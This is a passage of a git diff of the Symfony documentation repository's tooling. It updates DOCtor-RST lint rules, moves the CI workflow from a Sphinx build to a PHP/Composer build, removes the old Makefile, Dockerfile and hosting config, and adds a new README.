diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index 3051b9325f4..dfb85021586 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -1,95 +1,123 @@ rules: american_english: ~ avoid_repetetive_words: ~ + blank_line_after_anchor: ~ blank_line_after_directive: ~ blank_line_before_directive: ~ composer_dev_option_not_at_the_end: ~ correct_code_block_directive_based_on_the_content: ~ deprecated_directive_should_have_version: ~ + ensure_bash_prompt_before_composer_command: ~ + ensure_class_constant: ~ + ensure_correct_format_for_phpfunction: ~ + ensure_exactly_one_space_before_directive_type: ~ + ensure_exactly_one_space_between_link_definition_and_link: ~ + ensure_explicit_nullable_types: ~ + ensure_github_directive_start_with_prefix: + prefix: 'Symfony' + ensure_link_bottom: ~ + ensure_link_definition_contains_valid_url: ~ ensure_order_of_code_blocks_in_configuration_block: ~ + ensure_php_reference_syntax: ~ extend_abstract_controller: ~ - extension_xlf_instead_of_xliff: ~ + # extension_xlf_instead_of_xliff: ~ + forbidden_directives: + directives: + - '.. index::' + - directive: '.. caution::' + replacements: ['.. warning::', '.. danger::'] indention: ~ lowercase_as_in_use_statements: ~ max_blank_lines: max: 2 + max_colons: ~ no_app_console: ~ + no_attribute_redundant_parenthesis: ~ no_blank_line_after_filepath_in_php_code_block: ~ no_blank_line_after_filepath_in_twig_code_block: ~ no_blank_line_after_filepath_in_xml_code_block: ~ no_blank_line_after_filepath_in_yaml_code_block: ~ no_brackets_in_method_directive: ~ + no_broken_ref_directive: ~ no_composer_req: ~ + no_directive_after_shorthand: ~ + no_duplicate_use_statements: ~ + no_empty_literals: ~ no_explicit_use_of_code_block_php: ~ + no_footnotes: ~ no_inheritdoc: ~ + no_merge_conflict: ~ no_namespace_after_use_statements: ~ no_php_open_tag_in_code_block_php_directive: ~ no_space_before_self_xml_closing_tag: ~ + no_typographic_quotes: ~ + non_static_phpunit_assertions: ~ + only_backslashes_in_namespace_in_php_code_block: ~ + only_backslashes_in_use_statements_in_php_code_block: ~ ordered_use_statements: ~ php_prefix_before_bin_console: ~ + remove_trailing_whitespace: ~ replace_code_block_types: ~ replacement: ~ short_array_syntax: ~ space_between_label_and_link_in_doc: ~ space_between_label_and_link_in_ref: ~ + string_replacement: ~ + title_underline_length_must_match_title_length: ~ typo: ~ unused_links: ~ use_deprecated_directive_instead_of_versionadded: ~ + use_named_constructor_without_new_keyword_rule: ~ use_https_xsd_urls: ~ valid_inline_highlighted_namespaces: ~ valid_use_statements: ~ versionadded_directive_should_have_version: ~ yaml_instead_of_yml_suffix: ~ - yarn_dev_option_at_the_end: ~ -# no_app_bundle: ~ - # master versionadded_directive_major_version: - major_version: 5 + major_version: 7 versionadded_directive_min_version: - min_version: '5.0' + min_version: '7.0' deprecated_directive_major_version: - major_version: 5 + major_version: 7 deprecated_directive_min_version: - min_version: '5.0' + min_version: '7.0' + +exclude_rule_for_file: + - path: configuration/multiple_kernels.rst + rule_name: replacement + - path: page_creation.rst + rule_name: no_php_open_tag_in_code_block_php_directive + - path: frontend/create_ux_bundle.rst + rule_name: argument_variable_must_match_type # do not report as violation whitelist: regex: - - '/FOSUserBundle(.*)\.yml/' - '/``.yml``/' - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml - - '/rst-class/' lines: - 'in config files, so the old ``app/config/config_dev.yml`` goes to' - '#. The most important config file is ``app/config/services.yml``, which now is' - - 'code in production without a proxy, it becomes trivially easy to abuse your' - - '.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle' - 'The bin/console Command' - - '# username is your full Gmail or Google Apps email address' - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection' - - '.. versionadded:: 0.21.0' # Encore - - '.. versionadded:: 0.28.4' # Encore - - '.. versionadded:: 2.4.0' # SwiftMailer - - '.. versionadded:: 1.30' # Twig - - '.. versionadded:: 1.35' # Twig - - '.. versionadded:: 1.2' # MakerBundle - - '.. versionadded:: 1.11' # MakerBundle - - '.. versionadded:: 1.3' # MakerBundle - - '.. versionadded:: 1.8' # MakerBundle - - '.. versionadded:: 1.6' # Flex in setup/upgrade_minor.rst - - '0 => 123' # assertion for var_dumper - components/var_dumper.rst - - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst + - '.. versionadded:: 2.8.0' # Doctrine + - '.. versionadded:: 1.9.0' # Encore + - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst + - '.. versionadded:: 1.0.0' # Encore + - '.. versionadded:: 2.7.1' # Doctrine - '123,' # assertion for var_dumper - components/var_dumper.rst - '"foo",' # assertion for var_dumper - components/var_dumper.rst - '$var .= "Because of this `\xE9` octet (\\xE9),\n";' - - "`Deploying Symfony 4 Apps on Heroku`_." - - ".. _`Deploying Symfony 4 Apps on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4" - - "// 224, 165, 141, 224, 164, 164, 224, 165, 135])" - '.. versionadded:: 0.2' # MercureBundle - - 'provides a ``loginUser()`` method to simulate logging in in your functional' - - '.. code-block:: twig' - '.. versionadded:: 3.6' # MonologBundle + - '.. versionadded:: 3.8' # MonologBundle + - '.. versionadded:: 3.5' # Monolog + - '.. versionadded:: 3.0' # Doctrine ORM + - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket' + - 'End to End Tests (E2E)' + - '.. versionadded:: 2.2.0' # Panther + - '* Inline code blocks use double-ticks (````like this````).' diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 51ce53a1a89..9eb5d91783b 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -1,3 +1,6 @@ +# GithubActions workflows +/.github/workflows* @OskarStark + # Console /console* @chalasr /components/console* @chalasr diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md deleted file mode 100644 index 9a4e5a2cedc..00000000000 --- a/.github/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,12 +0,0 @@ -Code of Conduct -=============== - -This project follows a [Code of Conduct][code_of_conduct] in order to ensure an -open and welcoming environment. Please read the full text for understanding the -accepted and unaccepted behavior. - -Please read also the [reporting guidelines][guidelines], in case you encountered -or witnessed any misbehavior. - -[code_of_conduct]: https://symfony.com/doc/current/contributing/code_of_conduct/code_of_conduct.html -[guidelines]: https://symfony.com/doc/current/contributing/code_of_conduct/reporting_guidelines.html diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index ddeb73add51..f32043e4523 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -4,6 +4,6 @@ If your pull request fixes a BUG, use the oldest maintained branch that contains the bug (see https://symfony.com/releases for the list of maintained branches). If your pull request documents a NEW FEATURE, use the same Symfony branch where -the feature was introduced (and `5.x` for features of unreleased versions). +the feature was introduced (and `7.x` for features of unreleased versions). --> diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 26f0e537118..42770d55fe3 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -1,3 +1,5 @@ +name: CI + on: push: branches-ignore: @@ -6,66 +8,138 @@ on: branches-ignore: - 'github-comments' -name: CI +permissions: + contents: read jobs: - build: - name: Build + symfony-docs-builder-build: + name: Build (symfony-tools/docs-builder) runs-on: ubuntu-latest + continue-on-error: true + steps: - name: "Checkout" - uses: actions/checkout@v2 + uses: actions/checkout@v4 - - name: "Set up Python 3.7" - uses: actions/setup-python@v1 + - name: "Set-up PHP" + uses: shivammathur/setup-php@v2 with: - python-version: '3.7' # Semantic version range syntax or exact version of a Python version + php-version: 8.4 + coverage: none - - name: "Display Python version" - run: python -c "import sys; print(sys.version)" + - name: Get composer cache directory + id: composercache + working-directory: _build + run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT - - name: "Install Sphinx dependencies" - run: sudo apt-get install python-dev build-essential - - - name: "Cache pip" - uses: actions/cache@v2 + - name: Cache dependencies + uses: actions/cache@v3 with: - path: ~/.cache/pip - key: ${{ runner.os }}-pip-${{ hashFiles('_build/.requirements.txt') }} - restore-keys: | - ${{ runner.os }}-pip- + path: ${{ steps.composercache.outputs.dir }} + key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }} + restore-keys: ${{ runner.os }}-composer- - - name: "Install Sphinx + requirements via pip" - run: pip install -r _build/.requirements.txt + - name: "Install dependencies" + working-directory: _build + run: composer install --prefer-dist --no-progress - - name: "Build documentation" - run: make -C _build SPHINXOPTS="-nqW -j auto" html + - name: "Build the docs" + working-directory: _build + run: php build.php --disable-cache doctor-rst: - name: DOCtor-RST + name: Lint (DOCtor-RST) runs-on: ubuntu-latest steps: - name: "Checkout" - uses: actions/checkout@v2 + uses: actions/checkout@v4 - name: "Create cache dir" run: mkdir .cache - name: "Extract base branch name" - run: echo "##[set-output name=branch;]$(echo ${GITHUB_BASE_REF:=${GITHUB_REF##*/}})" + run: echo "branch=$(echo ${GITHUB_BASE_REF:=${GITHUB_REF##*/}})" >> $GITHUB_OUTPUT id: extract_base_branch - name: "Cache DOCtor-RST" - uses: actions/cache@v1 + uses: actions/cache@v3 with: path: .cache key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }} - name: "Run DOCtor-RST" - uses: docker://oskarstark/doctor-rst + uses: docker://oskarstark/doctor-rst:1.70.0 with: args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache + + symfony-code-block-checker: + name: Code Blocks + + runs-on: ubuntu-latest + + continue-on-error: true + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + path: 'docs' + + - name: Set-up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: 8.4 + coverage: none + + - name: Fetch branch from where the PR started + working-directory: docs + run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/* + + - name: Find modified files + id: find-files + working-directory: docs + run: echo "files=$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')" >> $GITHUB_OUTPUT + + - name: Get composer cache directory + id: composercache + working-directory: docs/_build + run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT + + - name: Cache dependencies + if: ${{ steps.find-files.outputs.files }} + uses: actions/cache@v3 + with: + path: ${{ steps.composercache.outputs.dir }} + key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }} + restore-keys: ${{ runner.os }}-composer-codeBlocks- + + - name: Install dependencies + if: ${{ steps.find-files.outputs.files }} + run: composer create-project symfony-tools/code-block-checker:@dev _checker + + - name: Install test application + if: ${{ steps.find-files.outputs.files }} + run: | + git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app + cd _sf_app + composer update + + - name: Generate baseline + if: ${{ steps.find-files.outputs.files }} + working-directory: docs + run: | + CURRENT=$(git rev-parse HEAD) + git checkout -m ${{ github.base_ref }} + ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app` + git checkout -m $CURRENT + cat baseline.json + + - name: Verify examples + if: ${{ steps.find-files.outputs.files }} + working-directory: docs + run: | + ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app` diff --git a/.gitignore b/.gitignore index 6a20088680a..b69047f69a1 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,2 @@ -/_build/doctrees -/_build/spelling -/_build/html -*.pyc +/_build/vendor +/_build/output diff --git a/.symfony.cloud.yaml b/.symfony.cloud.yaml deleted file mode 100644 index faa3c24780e..00000000000 --- a/.symfony.cloud.yaml +++ /dev/null @@ -1,58 +0,0 @@ -# This file describes an application. You can have multiple applications -# in the same project. - -# The name of this app. Must be unique within a project. -name: symfonydocs - -# The toolstack used to build the application. -type: "python:3.7" - -# The configuration of app when it is exposed to the web. -web: - # The public directory of the app, relative to its root. - document_root: "/_build/html" - index_files: - - index.html - whitelist: - - \.html$ - - \.txt$ - - # CSS and Javascript. - - \.css$ - - \.js$ - - \.hbs$ - - # image/* types. - - \.gif$ - - \.png$ - - \.ico$ - - \.svgz?$ - - # fonts types. - - \.ttf$ - - \.eot$ - - \.woff$ - - \.otf$ - - # robots.txt. - - /robots\.txt$ - -# The size of the persistent disk of the application (in MB). -disk: 512 - -# Build time dependencies. -dependencies: - python: - virtualenv: 15.1.0 - -# The hooks that will be performed when the package is deployed. -hooks: - build: | - virtualenv .virtualenv - . .virtualenv/bin/activate - # SymfonyCloud currently sets PIP_USER=1. - export PIP_USER= - pip install pip==9.0.1 wheel==0.29.0 - pip install -r _build/.requirements.txt - find .virtualenv -type f -name "*.rst" -delete - make -C _build html diff --git a/.symfony/routes.yaml b/.symfony/routes.yaml deleted file mode 100644 index caf4875f732..00000000000 --- a/.symfony/routes.yaml +++ /dev/null @@ -1,11 +0,0 @@ -https://{default}/: - cache: - cookies: - - '*' - default_ttl: 0 - enabled: true - headers: - - Accept - - Accept-Language - type: upstream - upstream: symfonydocs:http diff --git a/.symfony/services.yaml b/.symfony/services.yaml deleted file mode 100644 index ec9369f2b00..00000000000 --- a/.symfony/services.yaml +++ /dev/null @@ -1 +0,0 @@ -# Keeping this file empty to not deploy unused services. diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md deleted file mode 100644 index d211dd419d0..00000000000 --- a/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,83 +0,0 @@ -Code of Conduct -=============== - -Our Pledge ----------- - -In the interest of fostering an open and welcoming environment, we as -contributors and maintainers pledge to making participation in our project and -our community a harassment-free experience for everyone, regardless of age, body -size, disability, ethnic origin, gender identity and expression, level of -experience, education, socio-economic status, nationality, personal appearance, -religion, or sexual identity and orientation. - -Our Standards -------------- - -Examples of behavior that contributes to creating a positive environment -include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or - advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic - address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a - professional setting - -Our Responsibilities --------------------- - -[CoC Active Response Ensurers, or CARE][1], are responsible for clarifying the -standards of acceptable behavior and are expected to take appropriate and fair -corrective action in response to any instances of unacceptable behavior. - -CARE team members have the right and responsibility to remove, edit, or reject -comments, commits, code, wiki edits, issues, and other contributions that are -not aligned to this Code of Conduct, or to ban temporarily or permanently any -contributor for other behaviors that they deem inappropriate, threatening, -offensive, or harmful. - -Scope ------ - -This Code of Conduct applies both within project spaces and in public spaces -when an individual is representing the project or its community. Examples of -representing a project or community include using an official project e-mail -address, posting via an official social media account, or acting as an appointed -representative at an online or offline event. Representation of a project may be -further defined and clarified by CARE team members. - -Enforcement ------------ - -Instances of abusive, harassing, or otherwise unacceptable behavior -[may be reported][2] by contacting the [CARE team members][1]. -All complaints will be reviewed and investigated and will result in a response -that is deemed necessary and appropriate to the circumstances. The CARE team is -obligated to maintain confidentiality with regard to the reporter of an -incident. Further details of specific enforcement policies may be posted -separately. - -CARE team members who do not follow or enforce the Code of Conduct in good -faith may face temporary or permanent repercussions as determined by the -[core team][3]. - -Attribution ------------ - -This Code of Conduct is adapted from the [Contributor Covenant version 1.4][4]. - -[1]: https://symfony.com/doc/current/contributing/code_of_conduct/care_team.html -[2]: https://symfony.com/doc/current/contributing/code_of_conduct/reporting_guidelines.html -[3]: https://symfony.com/doc/current/contributing/code/core_team.html -[4]: https://www.contributor-covenant.org/version/1/4/code-of-conduct.html diff --git a/Dockerfile b/Dockerfile deleted file mode 100644 index c1e63debe91..00000000000 --- a/Dockerfile +++ /dev/null @@ -1,16 +0,0 @@ -FROM python:2-stretch as builder - -WORKDIR /www - -COPY ./_build/.requirements.txt _build/ - -RUN pip install pip==9.0.1 wheel==0.29.0 \ - && pip install -r _build/.requirements.txt - -COPY . /www - -RUN make -C _build html - -FROM nginx:latest - -COPY --from=builder /www/_build/html /usr/share/nginx/html diff --git a/LICENSE.md b/LICENSE.md index 01524e6ec84..547ac103984 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -195,7 +195,7 @@ b. You may Distribute or Publicly Perform an Adaptation only under the terms of: (i) this License; (ii) a later version of this License with the same License Elements as this License; (iii) a Creative Commons jurisdiction license (either this or a later license version) that contains the same License Elements as this -License (e.g., Attribution-ShareAlike 3.0 US)); (iv) a Creative Commons +License (e.g. Attribution-ShareAlike 3.0 US)); (iv) a Creative Commons Compatible License. If you license the Adaptation under one of the licenses mentioned in (iv), you must comply with the terms of that license. If you license the Adaptation under the terms of any of the licenses mentioned in (i), @@ -221,7 +221,7 @@ Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or if the Original Author and/or -Licensor designate another party or parties (e.g., a sponsor institute, +Licensor designate another party or parties (e.g. a sponsor institute, publishing entity, journal) for attribution ("Attribution Parties") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; (ii) the title of the Work if supplied; (iii) to @@ -229,7 +229,7 @@ the extent reasonably practicable, the URI, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and (iv) , consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in -the Adaptation (e.g., "French translation of the Work by Original Author," or +the Adaptation (e.g. "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). The credit required by this Section 4(c) may be implemented in any reasonable manner; provided, however, that in the case of a Adaptation or Collection, at a minimum such diff --git a/README.markdown b/README.markdown deleted file mode 100644 index 1d94f6f1ff0..00000000000 --- a/README.markdown +++ /dev/null @@ -1,39 +0,0 @@ -Symfony Documentation -===================== - -This documentation is rendered online at https://symfony.com/doc/current/ - -Contributing ------------- - -We love contributors! For more information on how you can contribute to the -Symfony documentation, please read -[Contributing to the Documentation](https://symfony.com/doc/current/contributing/documentation/overview.html) - -> **Note** -> Unless you're documenting a feature that was introduced *after* Symfony 3.4 -> (e.g. in Symfony 4.4), all pull requests must be based off of the **3.4** branch, -> **not** the master or older branches. - -SymfonyCloud ------------- - -Thanks to [SymfonyCloud](https://symfony.com/cloud) for providing an integration -server where Pull Requests are built and can be reviewed by contributors. - -Docker ------- - -You can build the doc locally with these commands: - -```bash -# build the image... -$ docker build . -t symfony-docs - -# ...and start the local web server -# (if it's already in use, change the '8080' port by any other port) -$ docker run --rm -p 8080:80 symfony-docs -``` - -You can now read the docs at http://127.0.0.1:8080 (if you use a virtual -machine, browse its IP instead of localhost; e.g. `http://192.168.99.100:8080`). diff --git a/README.md b/README.md new file mode 100644 index 00000000000..84f91fbbbbc --- /dev/null +++ b/README.md @@ -0,0 +1,56 @@ +<p align="center"><a href="https://symfony.com" target="_blank"> + <img src="https://symfony.com/logos/symfony_dynamic_01.svg" alt="Symfony Logo"> +</a></p> + +<h3 align="center"> + The official Symfony Documentation +</h3> + +<p align="center"> + <a href="https://symfony.com/doc/current/index.html"> + Online version + </a> + <span> | </span> + <a href="https://symfony.com/components"> + Components + </a> + <span> | </span> + <a href="https://symfonycasts.com"> + Screencasts + </a> +</p> + +Contributing +------------ + +We love contributors! For more information on how you can contribute, please read +the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html). + +> [!IMPORTANT] +> Use `6.4` branch as the base of your pull requests, unless you are documenting a +> feature that was introduced *after* Symfony 6.4 (e.g. in Symfony 7.2). + +Build Documentation Locally +--------------------------- + +This is not needed for contributing, but it's useful if you would like to debug some +issue in the docs or if you want to read Symfony Documentation offline. + +```bash +$ git clone git@github.com:symfony/symfony-docs.git + +$ cd symfony-docs/ +$ cd _build/ + +$ composer install + +$ php build.php +``` + +After generating docs, serve them with the internal PHP server: + +```bash +$ php -S localhost:8000 -t output/ +``` + +Browse `http://localhost:8000` to read the docs. diff --git a/_build/.requirements.txt b/_build/.requirements.txt deleted file mode 100644 index 26a019bfa6b..00000000000 --- a/_build/.requirements.txt +++ /dev/null @@ -1,6 +0,0 @@ -docutils==0.13.1 -Pygments==2.2.0 -sphinx==1.8.5 -git+https://github.com/fabpot/sphinx-php.git@v2.0.2#egg_name=sphinx-php -jsx-lexer===0.0.8 -sphinx_rtd_theme==0.5.0 diff --git a/_build/Makefile b/_build/Makefile deleted file mode 100644 index 25b660056fe..00000000000 --- a/_build/Makefile +++ /dev/null @@ -1,153 +0,0 @@ -# Makefile for Sphinx documentation -# - -# You can set these variables from the command line. -SPHINXOPTS = -SPHINXBUILD = sphinx-build -PAPER = -BUILDDIR = . - -# Internal variables. -PAPEROPT_a4 = -D latex_paper_size=a4 -PAPEROPT_letter = -D latex_paper_size=letter -ALLSPHINXOPTS = -c $(BUILDDIR) -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) ../ -# the i18n builder cannot share the environment and doctrees with the others -I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . - -.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext - -help: - @echo "Please use \`make <target>' where <target> is one of" - @echo " html to make standalone HTML files" - @echo " dirhtml to make HTML files named index.html in directories" - @echo " singlehtml to make a single large HTML file" - @echo " pickle to make pickle files" - @echo " json to make JSON files" - @echo " htmlhelp to make HTML files and a HTML help project" - @echo " qthelp to make HTML files and a qthelp project" - @echo " devhelp to make HTML files and a Devhelp project" - @echo " epub to make an epub" - @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" - @echo " latexpdf to make LaTeX files and run them through pdflatex" - @echo " text to make text files" - @echo " man to make manual pages" - @echo " texinfo to make Texinfo files" - @echo " info to make Texinfo files and run them through makeinfo" - @echo " gettext to make PO message catalogs" - @echo " changes to make an overview of all changed/added/deprecated items" - @echo " linkcheck to check all external links for integrity" - @echo " doctest to run all doctests embedded in the documentation (if enabled)" - -clean: - -rm -rf $(BUILDDIR)/* - -html: - $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html - @echo - @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." - -dirhtml: - $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml - @echo - @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." - -singlehtml: - $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml - @echo - @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml." - -pickle: - $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle - @echo - @echo "Build finished; now you can process the pickle files." - -json: - $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json - @echo - @echo "Build finished; now you can process the JSON files." - -htmlhelp: - $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp - @echo - @echo "Build finished; now you can run HTML Help Workshop with the" \ - ".hhp project file in $(BUILDDIR)/htmlhelp." - -qthelp: - $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp - @echo - @echo "Build finished; now you can run "qcollectiongenerator" with the" \ - ".qhcp project file in $(BUILDDIR)/qthelp, like this:" - @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/Symfony.qhcp" - @echo "To view the help file:" - @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/Symfony.qhc" - -devhelp: - $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp - @echo - @echo "Build finished." - @echo "To view the help file:" - @echo "# mkdir -p $$HOME/.local/share/devhelp/Symfony" - @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/Symfony" - @echo "# devhelp" - -epub: - $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub - @echo - @echo "Build finished. The epub file is in $(BUILDDIR)/epub." - -latex: - $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex - @echo - @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." - @echo "Run \`make' in that directory to run these through (pdf)latex" \ - "(use \`make latexpdf' here to do that automatically)." - -latexpdf: - $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex - @echo "Running LaTeX files through pdflatex..." - $(MAKE) -C $(BUILDDIR)/latex all-pdf - @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." - -text: - $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text - @echo - @echo "Build finished. The text files are in $(BUILDDIR)/text." - -man: - $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man - @echo - @echo "Build finished. The manual pages are in $(BUILDDIR)/man." - -texinfo: - $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo - @echo - @echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo." - @echo "Run \`make' in that directory to run these through makeinfo" \ - "(use \`make info' here to do that automatically)." - -info: - $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo - @echo "Running Texinfo files through makeinfo..." - make -C $(BUILDDIR)/texinfo info - @echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo." - -gettext: - $(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale - @echo - @echo "Build finished. The message catalogs are in $(BUILDDIR)/locale." - -changes: - $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes - @echo - @echo "The overview file is in $(BUILDDIR)/changes." - -linkcheck: - $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck - @echo - @echo "Link check complete; look for any errors in the above output " \ - "or in $(BUILDDIR)/linkcheck/output.txt." - -doctest: - $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest - @echo "Testing of doctests in the sources finished, look at the " \ - "results in $(BUILDDIR)/doctest/output.txt." diff --git a/_build/_exts/symfonycom/__init__.py b/_build/_exts/symfonycom/__init__.py deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/_build/_exts/symfonycom/sphinx/__init__.py b/_build/_exts/symfonycom/sphinx/__init__.py deleted file mode 100644 index 4a61e711809..00000000000 --- a/_build/_exts/symfonycom/sphinx/__init__.py +++ /dev/null @@ -1,86 +0,0 @@ -from pygments.style import Style -from pygments.token import Keyword, Name, Comment, String, Error, \ - Number, Operator, Generic, Whitespace, Punctuation, Other, Literal - -class SensioStyle(Style): - background_color = "#000000" - default_style = "" - - styles = { - # No corresponding class for the following: - #Text: "", # class: '' - Whitespace: "underline #f8f8f8", # class: 'w' - Error: "#a40000 border:#ef2929", # class: 'err' - Other: "#ffffff", # class 'x' - - Comment: "italic #B729D9", # class: 'c' - Comment.Single: "italic #B729D9", # class: 'c1' - Comment.Multiline: "italic #B729D9", # class: 'cm' - Comment.Preproc: "noitalic #aaa", # class: 'cp' - - Keyword: "#FF8400", # class: 'k' - Keyword.Constant: "#FF8400", # class: 'kc' - Keyword.Declaration: "#FF8400", # class: 'kd' - Keyword.Namespace: "#FF8400", # class: 'kn' - Keyword.Pseudo: "#FF8400", # class: 'kp' - Keyword.Reserved: "#FF8400", # class: 'kr' - Keyword.Type: "#FF8400", # class: 'kt' - - Operator: "#E0882F", # class: 'o' - Operator.Word: "#E0882F", # class: 'ow' - like keywords - - Punctuation: "#999999", # class: 'p' - - # because special names such as Name.Class, Name.Function, etc. - # are not recognized as such later in the parsing, we choose them - # to look the same as ordinary variables. - Name: "#ffffff", # class: 'n' - Name.Attribute: "#ffffff", # class: 'na' - to be revised - Name.Builtin: "#ffffff", # class: 'nb' - Name.Builtin.Pseudo: "#3465a4", # class: 'bp' - Name.Class: "#ffffff", # class: 'nc' - to be revised - Name.Constant: "#ffffff", # class: 'no' - to be revised - Name.Decorator: "#888", # class: 'nd' - to be revised - Name.Entity: "#ce5c00", # class: 'ni' - Name.Exception: "#cc0000", # class: 'ne' - Name.Function: "#ffffff", # class: 'nf' - Name.Property: "#ffffff", # class: 'py' - Name.Label: "#f57900", # class: 'nl' - Name.Namespace: "#ffffff", # class: 'nn' - to be revised - Name.Other: "#ffffff", # class: 'nx' - Name.Tag: "#cccccc", # class: 'nt' - like a keyword - Name.Variable: "#ffffff", # class: 'nv' - to be revised - Name.Variable.Class: "#ffffff", # class: 'vc' - to be revised - Name.Variable.Global: "#ffffff", # class: 'vg' - to be revised - Name.Variable.Instance: "#ffffff", # class: 'vi' - to be revised - - Number: "#1299DA", # class: 'm' - - Literal: "#ffffff", # class: 'l' - Literal.Date: "#ffffff", # class: 'ld' - - String: "#56DB3A", # class: 's' - String.Backtick: "#56DB3A", # class: 'sb' - String.Char: "#56DB3A", # class: 'sc' - String.Doc: "italic #B729D9", # class: 'sd' - like a comment - String.Double: "#56DB3A", # class: 's2' - String.Escape: "#56DB3A", # class: 'se' - String.Heredoc: "#56DB3A", # class: 'sh' - String.Interpol: "#56DB3A", # class: 'si' - String.Other: "#56DB3A", # class: 'sx' - String.Regex: "#56DB3A", # class: 'sr' - String.Single: "#56DB3A", # class: 's1' - String.Symbol: "#56DB3A", # class: 'ss' - - Generic: 